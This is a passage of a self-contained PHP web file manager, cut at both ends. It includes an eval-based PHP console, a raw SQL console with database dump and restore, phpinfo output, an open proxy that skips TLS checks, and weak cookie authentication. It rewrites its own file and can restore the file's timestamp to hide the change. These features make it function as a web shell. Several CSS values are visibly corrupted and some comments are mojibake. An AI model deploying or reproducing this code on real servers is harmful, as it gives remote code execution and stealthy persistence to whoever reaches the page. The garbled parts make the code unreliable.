		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHC